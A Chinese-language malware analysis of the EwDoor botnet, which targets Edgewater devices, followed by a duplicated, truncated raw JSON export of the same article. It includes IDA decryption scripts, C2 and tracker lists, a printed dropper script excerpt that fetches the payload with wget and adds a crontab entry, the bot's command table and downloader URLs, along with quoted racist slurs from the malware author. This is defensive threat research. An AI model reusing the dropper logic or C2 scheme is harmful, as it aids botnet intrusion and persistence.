Ewdoor运行时，会对文件名，参数进行检测。当文件名为"/var/tmp/.mnt/ewupdate"，说明这次是更新操作，此时会通过命令cp -f /var/tmp/.mnt/ewupdate /var/tmp/.mnt/ewstat，把自身复制成ewstat再启动执行；当没有启动参数，或第一个启动不为script时，则通过bash执行/etc/config/ew.conf脚本；只有当第一个启动数据为script时，才会执行下文的处理逻辑，这在某种程度上也是对沙箱/模拟器的一种对抗。
单一实例
Ewdoor通过文件锁来实现单一实例，具体实现如下所示：
我们可以通过/proc/locks将进程以及文件锁对应起来，此时再执行对应的EwDoor的样本，可以看到并不会有新进程被创建。
收集设备信息
Ewdoor收集被侵入设备的主机名，网卡地址等信息以供后面的上线过程使用。
持久化
Ewdoor通过下面代码，定期结束系统中的netflash进程，netflash命令是一个维护命令，用于远程更新系统。Ewdoor通过阻断维护通道，再配合SHELL脚本中crontab，实现持久化。
网络通信
Ewdoor将网络相关的敏感信息，诸如上线信息，C2，端口等加密存储在样本中。因此要进行网络通信时，首先得解密得到这部分资源，然后通过直接或间接的方式获取到C2，最后和C2建立通信，等待执行C2下发的指令。
解密
Ewdoor使用了3张表来描述加密的资源，一张为密文表，一张为密文长度表，一张为组合表。其中密文&密文长度表是用来描述加密资源本身，而组合表则是用来描述资源如何被组合使用。通过密文表和密文长度而可以解密出BT domain, BT port等信息；通过组合表则可以将BT domain&port 组合成BT tracker。
EwDoor通过“gstr”函数解密敏感信息，它的实现如下所示：
经过逆向分析之后，我们编写了以下IDA脚本，通过它可以解密得到所有的资源信息。
# tested in ida 7.0, only for md5 7d4937e27d0fd75dd6159ffe53ebb505
pbuf_base=0x00467014
plen_base=0x00455A14
key="холодно в доме папа в тужурке мама дочуркою топит в печурке!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt >=62:
break
加密资源一共有62项，解密后的前22项如下所示：
index
Item
index
item
0
OrOib2zCIWa10v2bunJ
11
tracker.birkenwald.de
1
6969
12
ipv6.tracker.zerobytes.xyz
2
53
13
fe.dealclub.de
3
1337
14
wassermann.online
4
80
15
mail.realliferpg.de
5
451
16
movies.zsw.ca
6
2770
17
tracker.blacksparrowmedia.net
7
16661
18
code2chicken.nl
8
2710
19
abufinzio.monocul.us
9
2960
20
tracker.0x.tf
10
3391
21
tracker.altrosky.nl
样本中内置的组合表如下所示：
组合表以2项为一组，按顺序组合，即表项11和表项1组合，表项12和表项7组合，依此类推。以[11，1]，[12，7]的组合方式为例，分别得到2个BT tracker的地址"tracker.birkenwald.de :6969"，"ipv6.tracker.zerobytes.xyz:16661"。
获取C2
EwDoor在不同的版本，获取C2的方式不一样，在版本0.12.0时，采用直接方式；而在0.15，0.16则采用间接方式。
直接方式
所谓直接方式，即经过上文的解密流程后，直接就得到了C2。以样本5d653e9a5b1093ef8408c3884fbd9217为例，通过下面的IDA脚本，解密所有加密资源。
# tested in ida 7.0, only for md5 5d653e9a5b1093ef8408c3884fbd9217
pbuf_base=0x00467814
plen_base=0x00456100
key="TheMagicalMysteryTourIsComingToTakeYouAway!"
cnt=0
while idc.get_wide_dword(plen_base)!=0:
plain=''
blen=idc.get_wide_dword(plen_base)
pbuf=idc.get_wide_dword(pbuf_base)
buf=idc.get_bytes(pbuf,blen)
for i in range(blen):
tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))
plain+=tmp
print plain
plen_base+=4
pbuf_base+=4
cnt+=1
if cnt>=18:
break
解密后资源如下表所示，表项1到14为C2，表项15到17为port。
Index
Item
Index
Item
0
F0JEAADWS4kQFj7iPOQyjA
9
rtmxvd.iunno.se
1
185.10.68.20
10
hhqnyy.zapto.org
2
rtmxvd.iunno.se
11
besthatsite.mooo.com
3
ekgmua.zapto.org
12
b.rtmxvdio.ne
4
boatreviews.xpresit.net
13
b.hatbowlu3hf.ru
5
a.rtmxvdio.net
14
b.hatbowlrtx.su
6
a.hatbowlu3hf.ru
15
13433
7
a.hatbowlrtx.su
16
443
8
45.141.157.217
17
53
间接的方式
所谓间接方式，即经过上文解密流程后得到的是BT tracker，必须通过向BT tracker发现特定的请求，才能得到C2，这个过程用到了2个函数“bt_generate_daily_hash_and_port”和“bt_try_find_good_peers”，前者用于获取C2的端口，后者用于获取C2的IP。
bt_generate_daily_hash_and_port函数的实现如下所示，具体逻辑是将当前时间按“%d%m%Y”格式化后，和"1HAT2BWL"进行拼接，接着计算这个字串的SHA1值，再将SHA1的最后2字节进行运算得到C2的端口。
事实上上面这一步骤计算得到的端口，并非真正的端口值，它还需要加上10。这个过程如下图所示：
bt_try_find_good_peers函数的实现如下所示，具体逻辑是将上文的字串SHA1值作为infohash发送给bt tracker，通过Tracker UDP协议得到C2:PORT，如果PORT等于上文的端口值，则此IP就是C2的IP。
以下图2021.11.22日产生的网络流量为例：
红色部分为字串"1HAT2BWL22112021"的SHA1值，它最后2字节为0x23a2，它通过以下的代码运算后，就得到了C2的端口“0xc6fc”。
sha18=0x23
sha19=0xa2
def tohex(val, nbits):
return hex((val + (1 << nbits)) % (1 << nbits))
port=sha19+((sha18&0xf)<<8)-15536+10
print tohex(port,16)
将上面计算得到的SHA1值作为infohash发送给BT tracker，再比较BT tracker返回的服务器端口，可以看出有3组的端口都是0xcff6，任选一组建立通信。
2d 8d 9b d9 : c6fc -> 45.141.155.217:50940
3e 4d 9c 67 : c6fc -> 62.77.156.103:50940
d4 c0 f1 9e : c6fc -> 212.192.241.158:50940
实际网络连接情况如下所示：
和C2通信
当Ewdoor成功获得C2后，首先通过TLS协议建立连接，然后将上线信息发送给C2，最后等待执行C2下发的指令。这个过程，根据版本的不同，和C2的通信协议可以分成以下俩大类。
0.12 version protocol
*
TLS连接
TLS连接本身并不值得一说，有意思的点是在0.12的版本中，Ewdoor的作者犯过错误。如下图所示，在0.12版本，Ewdoor通过resolve_and_connect_first解密C2，和C2建立连接。其中参数a1,a2的值来看自res_range，要求a2>=a1才会执行解密，连接这个过程。样本5d653e9a5b1093ef8408c3884fbd9217中a1=8,a2=7，这就产生了BUG，导致编号8到14的C2永远不会被连接，不过Ewdoor的作者很快就意识到了这个Bug，在样本6c553db88e4cd52a2ed4795ec1710421中就修复了。
*
上线
通过以下代码构造上线包，上线数据里包括从index 0解密出的字串，版本号，设备主机名，设备网卡地址等信息。
实际产生的流量如下所示：
00000000 48 45 4c 4f 20 30 2e 31 32 2e 30 20 46 30 4a 45 |HELO 0.12.0 F0JE|
00000010 41 41 44 57 53 34 6b 51 46 6a 37 69 50 4f 51 79 |AADWS4kQFj7iPOQy|
00000020 6a 41 20 64 65 62 69 61 6e 2d 6d 69 70 73 20 31 |jA debian-mips 1|
00000030 32 33 34 35 36 0a |23456.|
*
支持的指令
成功上线后，Ewdoor等待执行C2下发的指令，0.12版本支持的指令如下表所示：
cmd
purpose
uf
udp flood
sf
syn flood
cat
exec "cat" cmd
ping
heartbeat
exec
run cmd via bash
exec2
run cmd via popen
pscan
port scan
uname
exec "uname" cmd
update
write "/tmp/.ewupdate"
reverse
reverse shell
download
download file via wget
0.15,0.16 version protocol
*
TLS连接
*
上线
通过以下代码构造上线包，上线数据里包括从index 0解密出的字串，版本号，设备主机名，设备网卡地址等信息。
实际产生的流量如下所示：
00000000 00 3b 00 00 00 00 00 00 00 00 02 00 06 30 2e 31 |.;...........0.1|
00000010 36 2e 30 00 13 4f 72 4f 69 62 32 7a 43 49 57 61 |6.0..OrOib2zCIWa|
00000020 31 30 76 32 62 75 6e 4a 00 0b 64 65 62 69 61 6e |10v2bunJ..debian|
00000030 2d 6d 69 70 73 00 06 31 32 33 34 35 36 |-mips..123456|
0000003d
*
指令验签
成功上线后，Ewdoor等待C2下发指令，指令由"len(2 bytes)+Signature(512 bytes)+ sessionid(8bytes)+cmd"4部分组成，当收到指令时，Ewdoor通过proto_verify_signature函数对指令进行数字签名校验，只有通过校验的指令，才会执行。Ewdoor通过这种技术手段保证整个的网络完全可控，不被他人窃取。
签名校验使用的是RSA-SHA256方式，其中pubkey是加密存放在样本中，一共550字节，逐一和0x2a异或后，就能得到真正的公钥。
以实际中收到的payload为例，可以按上文所述的格式将其分成4部分。
通过mbedtls自带的pk_verify工具可以很方便的对上面的payload进行校验。
>md5 pubkey
9dba72160f5d02ebdc8a78bcb27defa *pubkey
>md5 msg
5a6d3b1018b5e7543ee6f73d6c9df727 *msg
>md5 msg.sig
10acc6e0e0447d900d6d46c66c8f4406 *msg.sig
>cat msg | hexdump -C
00000000 00 00 00 00 00 00 01 07 01
>pk_verify.exe pubkey msg
. Reading public key from 'pubkey'
. Verifying the SHA-256 signature
. OK (the signature is valid)
当指令通过验签后，刚执行具体的命令，此处的命令编号为1，是心跳指令。
* 支持的指令
0.15，0.16版本支持的指令如下表所示：
cmd index
purpose
1
heartbeat
2
port scan
4
exec "uname" cmd
5
download file via wget
6
update, write "/var/tmp/.ewupdate"
7
run cmd via bash
8
run cmd via popen
9
ddos attack
花絮
1. Ewdoor的作者是个修BUG的小能手！
修复前文所述的0.12版本中的C2 BUG只用了16分钟。
eef0035f971622cc5f48e164ca28a95f; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 17:45:08 2021, max compression
fbbacfb20e487265c7fdb30817717f26; gzip compressed data, was "ramdisk.img", from Unix, last modified: Wed Oct 27 18:01:33 2021, max compression
2.
EwDoor的作者是俄罗斯恐怖摇滚青年？
第一次使用的密钥TheMagicalMysteryTourIsComingToTakeYouAway!,是The Beatles乐队的歌词。
第二次使用的密钥холодно в доме папа в тужурке мама дочуркою топит в печурке!，Google翻译为“it's cold in the house, dad in a jacket, mom drowns her daughter in the stove!”，妥妥的一句话恐怖故事，看着让人不寒而栗。
3.
EwDoor的作者非常凶!
11月发现我们的蜜罐IP后，在paylaod里骂我们，kill yourself you fucking nigger chink kike, this is a shitty honeypot, DDoS coming，用词相当的种族歧视，政治不正确，直言要攻击，吓得我们"瑟瑟发抖"。
联系我们
感兴趣的读者，可以在twitter或者在微信公众号 360Netlab上联系我们。
IoC
C2
185.10.68.20
rtmxvd.iunno.se
ekgmua.zapto.org
boatreviews.xpresit.net
a.rtmxvdio.net
a.hatbowlu3hf.ru
a.hatbowlrtx.su
45.141.157.217
rtmxvd.iunno.se
hhqnyy.zapto.org
besthatsite.mooo.com
b.rtmxvdio.net
b.hatbowlu3hf.ru
b.hatbowlrtx.su
port: 53， 443，13433
Downloader
http://185[.10.68.20:1234/ew-new.sh
http://185[.10.68.20:1234/ew.sh
http://185[.10.68.20:1234/prod/mips
http://185[.10.68.20:1234/ramdisk.img.gz
http://212[.193.30.209/61501e55/mips
http://212[.193.30.209/859b6cfa.sh
Sample MD5
007c28d9a0ccfb10c478689fd63e0de0
128331f1c808ee385375dd54d0609ebc
46c18a8e93a863053952985a39bd7d63
4f0841ac08a27d8b3d56cbd03fb68ad8
5c4390e1668856cc7f72499a72f935d6
62bc8899a353921ac685cabb63de97b3
67ccb3cf1f4f57f5a0ded4d20bc91d73
7d4937e27d0fd75dd6159ffe53ebb505
84b3df62ed45bea57d0dd85e80f0dc07
8794d23cad330de803294a2a1adb128b
abaed830fe09e92ee434236d3db01e08
b81ade4f18c2df58adef301f401e8a02
ca6eb890853434ab9a0f8cdbab0965ea
ddf96434bdb7b449ddcc925e6a5b3095
eef0035f971622cc5f48e164ca28a95f
fbbacfb20e487265c7fdb30817717f26
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n2021年10月27日，我们的BotMon系统发现有攻击者正通过CVE-2017-6079漏洞攻击Edgewater Networks设备，其payload里有比较罕见的mount文件系统指令，这引起了我们的兴趣，经过分析，我们确认这是一个全新的僵尸网络家族，基于其针对Edgewater产商、并且有Backdoor的功能，我们将它命名为**EwDoor**。\n\n最初捕获的EwDoor使用了常见的硬编码C2方法，同时采用了冗余机制，单个样本的C2多达14个。Bot运行后会依次向列表中的C2发起网络请求直到成功建立C2会话。这些C2中多数为域名形式，有趣的是它们多数还未来得及注册，因此我们抢注了第二个域名``iunno.se``以获取Bot的请求。但一开始连接到我们域名的Bot非常少，因为大多数Bot都成功和第一个C2(185.10.68.20)建立连接，这让我们有些许\"沮丧\"。\n\n转机发生在2021年11月8日，当天7点到10点EwDoor的第一个C2``185.10.68.20``发生了网络故障，瞬间大量Bot连接到我们注册的C2域名，这使得我们成功的测绘了EwDoor僵尸网络的规模&感染范围，数据分析表明``被攻击的设备是企业网络边界控制器，属于电信公司AT&T，而且它们地理位置全都在美国``。遗憾的是在经历这次C2网络故障问题后，EwDoor的作者可能认识到了这种C2使用方式存在缺陷，放弃了硬编码C2的方式，转而采用BT tracker方式动态下发C2，我们也因此失去了对EwDoor的视野。\n\n到目前为止，我们视野中的EwDoor经历了3个版本的更新，它的主要功能可以总结成DDoS攻击和Backdoor 2大类，基于被攻击设备和电话通信相关，我们推测它的主要目的就是**DDoS攻击，和窃取敏感信息**，如call log等。\n\n鉴于EwDoor的规模，活跃性，被攻击设备本身以及其所属国家的敏感性，我们决定撰写本文向社区分享我们的发现，共同维护网络安全。\n\n\n## 时间线\n\n- 2021年10月27日，首次捕获EwDoor，版本号为0.12.0，主要功能为DDoS Attack，File Manager，Reverse Shell，Port Scan等。\n- 2021年11月8日，EwDoor更新，版本号为0.15.0，将C2从本地移向云端，使用BT Tracker。\n- 2021年11月15日，EwDoor更新，版本号为0.16.0，代码结构变化属于微调级别，加入沙箱对抗功能。\n- 2021年11月20日，EwDoor更新，版本号为0.16.0，代码结构变化属于微调级别，BT Trackers有些许变化。\n\n\n## EwDoor概述\n\n我们一共捕获了3个版本的EwDoor，以版本0.16.0为蓝本，可以将EwDoor定性为，一个通过BT tracker下发C2，使用TLS保护流量，主要盈利手段为DDoS攻击，敏感数据盗取的僵尸网络，目前它通过Nday漏洞CVE_2017_6079传播，主要针对网络电话网关设备。\n\n目前支持6大功能：\n- 自升级\n- 端口扫描\n- 文件管理\n- DDoS攻击\n- 反弹SHELL\n- 执行任意命令\n\n它的基本流程图如下所示：\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_briefproc.png\" width=\"860px\" />\n\n\n\n\n## 规模\n通过抢注作者未注册的CC域名，我们有一段时间看到了这个Botnet的规模，当时活跃Bot IP 6k左右。被感染设备IP的AS号全部为`AS7018|AT&T_Services,_Inc.`(美国电信公司AT&T)。通过反查这些设备使用的SSl证书，我们发现使用相同SSl证书的IP有10万左右，我们不清楚这些IP对应的设备有多少可被感染，但可以推测他们可能属于同一类设备，有被感染风险。\n\n\n## shell脚本分析\nEwDoor的前置SHELL脚本比较长，我们摘取了关键部分以供分析。\n```\nsetup_ramdisk() {\n dd if=/dev/zero of=$RAMDISK bs=4096k count=1\n gunzip -c $IMAGE > $RAMDISK\n mkdir -p $MOUNT\n mount $RAMDISK $MOUNT\n}\n\ndownload_update() {\n killall -9 ewstat\n sleep $[ ( $RANDOM % 10 ) + 1 ]\n rm -f $IMAGE\n rm -f $EW_BIN\n wget -O $IMAGE $1\n\n grep \"$EW_BIN\" /etc/config/crontab >/dev/null 2>&1\n\n # is it not already in the crontab?\n if [ $? != 0 ]; then\n echo \"* * * * * root $EW_BIN >/dev/null 2>&1 &\" >> /etc/config/crontab\n fi\n\n sleep 1\n\n cfg_commit\n}\n```\n可以看出SHELL脚本的主要功能为：\n- 下载执行EwDoor样本\n- 设置Crontab，实现持久化\n\n\n另外值得一提的是EwDoor样本以gzip的形式存放在下载服务器，这在一定程度在逃避了网络规则对2进制文件的查杀；早期版本作者将样本文件制作成`Linux rev 1.0 ext2 filesystem`文件，然后使用mount这种方式将文件挂载到系统里，这可能也是为了免杀。\n## 样本分析\n\n本文选取最新版0.16为主要分析对象，它的基本信息如下所示：\n\n```\nMD5:7d4937e27d0fd75dd6159ffe53ebb505\nELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped\nPacker:none\nVersion: 0.16.0\n```\n\nEwdoor使用动态链接的方式，虽然使用了一些对抗技巧，但在逆向上没有太多难度。总体来说，功能比较简单，当它在被侵入设备运行时，首先会收集设备信息，实现比较常见的的单一实例，持久化等功能；然后解密出bt tracker，通过访问bt tracker获取C2；最后向C2上报收集到的设备信息，执行C2下发的指令。下文将从对抗技巧，主机行为和网络通信3方面，一一剖析的ewdoor的实现。\n\n## 对抗技巧\n\n- 网络层面使用TLS协议，防止通信被一眼看穿\n\n- 敏感的资源都被加密，增加逆向难度\n\n- C2从本地移到“云端”，由BT tracker下发，防止被IOC系统直接提取\n\n- **修改ELF中的\"ABIFLAGS\" PHT**，以对抗qemu-user，以及一些高内核版本的Linux沙箱。这是一种比较少见的对抗技巧，这说明EwDoor的作者对Linux内核，QEMU，以及Edgewater设备都非常熟悉。\n\n在实际使用qemu-user进行模拟运行时会产生以下错误提示：\n ```\n write(2, \"/tmp/echuysqs: Invalid PT_MIPS_ABIFLAGS entry\\n\", 46)\n ```\n\n\n## 主机行为\n\nEwdoor运行时，会对文件名，参数进行检测。当文件名为\"/var/tmp/.mnt/ewupdate\"，说明这次是更新操作，此时会通过命令``cp -f /var/tmp/.mnt/ewupdate /var/tmp/.mnt/ewstat``，把自身复制成ewstat再启动执行；当没有启动参数，或第一个启动不为``script``时，则通过bash执行``/etc/config/ew.conf``脚本；只有当第一个启动数据为script时，才会执行下文的处理逻辑，这在某种程度上也是对沙箱/模拟器的一种对抗。\n\n### 单一实例\n\nEwdoor通过文件锁来实现单一实例，具体实现如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_single.png\" width=\"860px\" />\n\n我们可以通过``/proc/locks``将进程以及文件锁对应起来，此时再执行对应的EwDoor的样本，可以看到并不会有新进程被创建。\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_singemp.png\" width=\"860px\" />\n\n\n### 收集设备信息\n\nEwdoor收集被侵入设备的主机名，网卡地址等信息以供后面的上线过程使用。\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_host.png\" width=\"860px\" />\n\n\n\n\n\n### 持久化\n\nEwdoor通过下面代码，定期结束系统中的netflash进程，netflash命令是一个维护命令，用于远程更新系统。Ewdoor通过阻断维护通道，再配合SHELL脚本中crontab，实现持久化。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_persist.png\" width=\"860px\" />\n\n## 网络通信\n\nEwdoor将网络相关的敏感信息，诸如上线信息，C2，端口等加密存储在样本中。因此要进行网络通信时，首先得解密得到这部分资源，然后通过直接或间接的方式获取到C2，最后和C2建立通信，等待执行C2下发的指令。\n\n### 解密\n\nEwdoor使用了3张表来描述加密的资源，一张为密文表，一张为密文长度表，一张为组合表。其中密文&密文长度表是用来描述加密资源本身，而组合表则是用来描述资源如何被组合使用。通过密文表和密文长度而可以解密出BT domain, BT port等信息；通过组合表则可以将BT domain&port 组合成BT tracker。\n\nEwDoor通过“gstr”函数解密敏感信息，它的实现如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_gstr.png\" width=\"860px\" />\n\n经过逆向分析之后，我们编写了以下IDA脚本，通过它可以解密得到所有的资源信息。\n\n```\n# tested in ida 7.0, only for md5 7d4937e27d0fd75dd6159ffe53ebb505\n\npbuf_base=0x00467014\nplen_base=0x00455A14\n\nkey=\"холодно в доме папа в тужурке мама дочуркою топит в печурке!\"\ncnt=0\n\nwhile idc.get_wide_dword(plen_base)!=0:\n plain=''\n blen=idc.get_wide_dword(plen_base)\n pbuf=idc.get_wide_dword(pbuf_base)\n buf=idc.get_bytes(pbuf,blen)\n for i in range(blen):\n tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))\n plain+=tmp\n \n print plain\n plen_base+=4\n pbuf_base+=4\n cnt+=1\n if cnt >=62:\n break\n```\n\n加密资源一共有62项，解密后的前22项如下所示：\n\n| index | Item | index | item |\n| ----- | ------------------- | ----- | ----------------------------- |\n| 0 | OrOib2zCIWa10v2bunJ | 11 | tracker.birkenwald.de |\n| 1 | 6969 | 12 | ipv6.tracker.zerobytes.xyz |\n| 2 | 53 | 13 | fe.dealclub.de |\n| 3 | 1337 | 14 | wassermann.online |\n| 4 | 80 | 15 | mail.realliferpg.de |\n| 5 | 451 | 16 | movies.zsw.ca |\n| 6 | 2770 | 17 | tracker.blacksparrowmedia.net |\n| 7 | 16661 | 18 | code2chicken.nl |\n| 8 | 2710 | 19 | abufinzio.monocul.us |\n| 9 | 2960 | 20 | tracker.0x.tf |\n| 10 | 3391 | 21 | tracker.altrosky.nl |\n\n样本中内置的组合表如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_restab.png\" width=\"860px\" />\n\n组合表以2项为一组，按顺序组合，即表项11和表项1组合，表项12和表项7组合，依此类推。以[11，1]，[12，7]的组合方式为例，分别得到2个BT tracker的地址\"tracker.birkenwald.de :6969\"，\"ipv6.tracker.zerobytes.xyz:16661\"。\n\n## 获取C2\n\nEwDoor在不同的版本，获取C2的方式不一样，在版本0.12.0时，采用直接方式；而在0.15，0.16则采用间接方式。\n\n### 直接方式\n\n所谓直接方式，即经过上文的解密流程后，直接就得到了C2。以样本``5d653e9a5b1093ef8408c3884fbd9217``为例，通过下面的IDA脚本，解密所有加密资源。\n\n```\n# tested in ida 7.0, only for md5 5d653e9a5b1093ef8408c3884fbd9217\npbuf_base=0x00467814\nplen_base=0x00456100\n\nkey=\"TheMagicalMysteryTourIsComingToTakeYouAway!\"\ncnt=0\nwhile idc.get_wide_dword(plen_base)!=0:\n plain=''\n blen=idc.get_wide_dword(plen_base)\n pbuf=idc.get_wide_dword(pbuf_base)\n buf=idc.get_bytes(pbuf,blen)\n for i in range(blen):\n tmp=chr(ord(buf[i])^cnt ^ ord(key[i % len(key)]))\n plain+=tmp\n \n print plain\n plen_base+=4\n pbuf_base+=4\n cnt+=1\n if cnt>=18:\n break\n```\n\n解密后资源如下表所示，表项1到14为C2，表项15到17为port。\n\n| Index | Item | Index | Item |\n| ----- | ----------------------- | ----- | -------------------- |\n| 0 | F0JEAADWS4kQFj7iPOQyjA | 9 | rtmxvd.iunno.se |\n| 1 | 185.10.68.20 | 10 | hhqnyy.zapto.org |\n| 2 | rtmxvd.iunno.se | 11 | besthatsite.mooo.com |\n| 3 | ekgmua.zapto.org | 12 | b.rtmxvdio.ne |\n| 4 | boatreviews.xpresit.net | 13 | b.hatbowlu3hf.ru |\n| 5 | a.rtmxvdio.net | 14 | b.hatbowlrtx.su |\n| 6 | a.hatbowlu3hf.ru | 15 | 13433 |\n| 7 | a.hatbowlrtx.su | 16 | 443 |\n| 8 | 45.141.157.217 | 17 | 53 |\n\n### 间接的方式\n\n所谓间接方式，即经过上文解密流程后得到的是BT tracker，必须通过向BT tracker发现特定的请求，才能得到C2，这个过程用到了2个函数“bt_generate_daily_hash_and_port”和“bt_try_find_good_peers”，前者用于获取C2的端口，后者用于获取C2的IP。\n\n``bt_generate_daily_hash_and_port``函数的实现如下所示，具体逻辑是将当前时间按“%d%m%Y”格式化后，和\"1HAT2BWL\"进行拼接，接着计算这个字串的SHA1值，再将SHA1的最后2字节进行运算得到C2的端口。\n\n\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_bthash.png\" width=\"860px\" />\n\n事实上上面这一步骤计算得到的端口，并非真正的端口值，它还需要加上10。这个过程如下图所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_port.png\" width=\"860px\" />\n\n``bt_try_find_good_peers``函数的实现如下所示，具体逻辑是将上文的字串SHA1值作为infohash发送给bt tracker，通过Tracker UDP协议得到C2:PORT，如果PORT等于上文的端口值，则此IP就是C2的IP。\n\n\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_bt.png\" width=\"860px\" />\n\n以下图2021.11.22日产生的网络流量为例：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_udp.png\" width=\"860px\" />\n\n红色部分为字串\"1HAT2BWL22112021\"的SHA1值，它最后2字节为0x23a2，它通过以下的代码运算后，就得到了C2的端口“0xc6fc”。\n\n```\nsha18=0x23\nsha19=0xa2\n\ndef tohex(val, nbits):\n return hex((val + (1 << nbits)) % (1 << nbits))\nport=sha19+((sha18&0xf)<<8)-15536+10\n\nprint tohex(port,16)\n```\n\n将上面计算得到的SHA1值作为infohash发送给BT tracker，再比较BT tracker返回的服务器端口，可以看出有3组的端口都是0xcff6，任选一组建立通信。\n\n```\n2d 8d 9b d9 : c6fc -> 45.141.155.217:50940\n3e 4d 9c 67 : c6fc -> 62.77.156.103:50940\nd4 c0 f1 9e : c6fc -> 212.192.241.158:50940\n```\n\n实际网络连接情况如下所示：\n\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_net.png\" width=\"860px\" />\n\n## 和C2通信\n当Ewdoor成功获得C2后，首先通过TLS协议建立连接，然后将上线信息发送给C2，最后等待执行C2下发的指令。这个过程，根据版本的不同，和C2的通信协议可以分成以下俩大类。\n\n### 0.12 version protocol\n\n- TLS连接\n\n TLS连接本身并不值得一说，有意思的点是在0.12的版本中，Ewdoor的作者犯过错误。如下图所示，在0.12版本，Ewdoor通过resolve_and_connect_first解密C2，和C2建立连接。其中参数a1,a2的值来看自res_range，要求a2>=a1才会执行解密，连接这个过程。样本5d653e9a5b1093ef8408c3884fbd9217中a1=8,a2=7，这就产生了BUG，导致编号8到14的C2永远不会被连接，不过Ewdoor的作者很快就意识到了这个Bug，在样本6c553db88e4cd52a2ed4795ec1710421中就修复了。\n\n \n <img src=\"__GHOST_URL__/content/images/2021/11/ew_c2bug.png\" width=\"860px\" />\n\n- 上线\n\n 通过以下代码构造上线包，上线数据里包括从index 0解密出的字串，版本号，设备主机名，设备网卡地址等信息。\n\n \n <img src=\"__GHOST_URL__/content/images/2021/11/ew_regv1.png\" width=\"860px\" />\n\n 实际产生的流量如下所示：\n\n ```\n 00000000 48 45 4c 4f 20 30 2e 31 32 2e 30 20 46 30 4a 45 |HELO 0.12.0 F0JE|\n 00000010 41 41 44 57 53 34 6b 51 46 6a 37 69 50 4f 51 79 |AADWS4kQFj7iPOQy|\n 00000020 6a 41 20 64 65 62 69 61 6e 2d 6d 69 70 73 20 31 |jA debian-mips 1|\n 00000030 32 33 34 35 36 0a |23456.|\n ```\n\n- 支持的指令\n\n 成功上线后，Ewdoor等待执行C2下发的指令，0.12版本支持的指令如下表所示：\n\n | cmd | purpose |\n | -------- | ----------------------- |\n | uf | udp flood |\n | sf | syn flood |\n | cat | exec \"cat\" cmd |\n | ping | heartbeat |\n | exec | run cmd via bash |\n | exec2 | run cmd via popen |\n | pscan | port scan |\n | uname | exec \"uname\" cmd |\n | update | write \"/tmp/.ewupdate\" |\n | reverse | reverse shell |\n | download | download file via wget |\n\n \n\n### 0.15,0.16 version protocol\n\n- TLS连接\n\n- 上线\n\n 通过以下代码构造上线包，上线数据里包括从index 0解密出的字串，版本号，设备主机名，设备网卡地址等信息。\n\n \n <img src=\"__GHOST_URL__/content/images/2021/11/ew_regv2.png\" width=\"860px\" />\n\n 实际产生的流量如下所示：\n\n ```\n 00000000 00 3b 00 00 00 00 00 00 00 00 02 00 06 30 2e 31 |.;...........0.1|\n 00000010 36 2e 30 00 13 4f 72 4f 69 62 32 7a 43 49 57 61 |6.0..OrOib2zCIWa|\n 00000020 31 30 76 32 62 75 6e 4a 00 0b 64 65 62 69 61 6e |10v2bunJ..debian|\n 00000030 2d 6d 69 70 73 00 06 31 32 33 34 35 36 |-mips..123456|\n 0000003d\n ```\n\n- 指令验签\n\n 成功上线后，Ewdoor等待C2下发指令，指令由\"len(2 bytes)+Signature(512 bytes)+ sessionid(8bytes)+cmd\"4部分组成，当收到指令时，Ewdoor通过``proto_verify_signature``函数对指令进行数字签名校验，只有通过校验的指令，才会执行。Ewdoor通过这种技术手段保证整个的网络完全可控，不被他人窃取。\n\n \n <img src=\"__GHOST_URL__/content/images/2021/11/ew_sig.png\" width=\"860px\" />\n\n 签名校验使用的是RSA-SHA256方式，其中pubkey是加密存放在样本中，一共550字节，逐一和0x2a异或后，就能得到真正的公钥。\n\n \n <img src=\"__GHOST_URL__/content/images/2021/11/ew_key.png\" width=\"860px\" />\n\n 以实际中收到的payload为例，可以按上文所述的格式将其分成4部分。\n\n \n <img src=\"__GHOST_URL__/content/images/2021/11/ew_payload.png\" width=\"860px\" />\n\n 通过mbedtls自带的pk_verify工具可以很方便的对上面的payload进行校验。\n\n ```\n >md5 pubkey\n 9dba72160f5d02ebdc8a78bcb27defa *pubkey\n >md5 msg\n 5a6d3b1018b5e7543ee6f73d6c9df727 *msg\n >md5 msg.sig\n 10acc6e0e0447d900d6d46c66c8f4406 *msg.sig\n >cat msg | hexdump -C\n 00000000 00 00 00 00 00 00 01 07 01\n >pk_verify.exe pubkey msg\n . Reading public key from 'pubkey'\n . Verifying the SHA-256 signature\n . OK (the signature is valid)\n ```\n\n 当指令通过验签后，刚执行具体的命令，此处的命令编号为1，是心跳指令。\n - 支持的指令\n\n 0.15，0.16版本支持的指令如下表所示：\n\n | cmd index | purpose |\n | --------- | ---------------------------------- |\n | 1 | heartbeat |\n | 2 | port scan |\n | 4 | exec \"uname\" cmd |\n | 5 | download file via wget |\n | 6 | update, write \"/var/tmp/.ewupdate\" |\n | 7 | run cmd via bash |\n | 8 | run cmd via popen |\n | 9 | ddos attack |\n\n \n\n## 花絮\n\n\n1. Ewdoor的作者是个修BUG的小能手！\n修复前文所述的0.12版本中的C2 BUG只用了16分钟。\n\n ```\n eef0035f971622cc5f48e164ca28a95f; 